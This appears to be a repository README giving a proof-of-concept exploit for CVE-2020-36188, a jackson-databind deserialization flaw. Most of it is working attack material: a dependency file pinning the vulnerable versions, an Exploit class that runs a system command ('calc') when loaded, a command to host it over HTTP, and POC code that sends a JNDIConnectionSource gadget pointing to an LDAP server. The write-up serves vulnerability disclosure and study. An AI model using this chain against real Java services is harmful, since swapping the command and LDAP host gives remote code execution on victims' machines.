al1ex/cve-2020-36188CVE-2020-36188 &&Jackson-databind RCE
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
<dependency>
<groupId>com.newrelic.agent.java</groupId>
<artifactId>newrelic-agent</artifactId>
<version>4.9.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
Exploit.java
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
HttpServer
python -m SimpleHTTPServer 4444
LDAPServer
POC.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"ldap://127.0.0.1:1288/Exploit\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}
}
Result:
JNDIConnectionSource
->setJndiLocation
->getConnection
->lookupDataSource
->lookup()